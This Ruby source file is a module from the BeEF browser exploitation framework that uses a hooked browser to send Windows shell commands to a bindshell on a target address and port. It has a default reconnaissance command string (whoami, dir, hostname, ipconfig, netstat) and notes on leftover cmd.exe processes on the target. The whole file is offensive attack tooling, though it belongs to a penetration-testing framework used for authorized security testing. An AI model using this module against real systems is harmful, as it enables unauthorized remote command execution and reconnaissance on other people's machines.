#
# Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue:
#   - use the netcat persistent listen "-L" option rather than the listen "-l" option; or
#   - remove the "& exit" portion of the JavaScript payload. Be aware that this will leave redundant cmd.exe processes running on the target system.
#
# Returning the shell command results is not supported in Firefox ~16+, IE, Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe due to content-type restrictions. The shell commands are executed on the target shell however.

class Inter_protocol_win_bindshell < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'Target Address', 'value' => '127.0.0.1' },
      { 'name' => 'rport',   'ui_label' => 'Target Port',    'value' => '4444' },
      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)',    'value' => '30' },
      { 'name' => 'commands', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: ampersands are required to seperate commands', 'type' => 'textarea',
        'value' => 'echo User: & whoami & echo Directory Path: & pwd & echo Directory Contents: & dir & echo HostName: & hostname & ipconfig & netstat -an', 'width' => '200px' }
    ]
  end

  def post_execute
    content = {}
    content['result'] = @datastore['result'] unless @datastore['result'].nil?
    content['fail']   = @datastore['fail']   unless @datastore['fail'].nil?
    save content
  end
end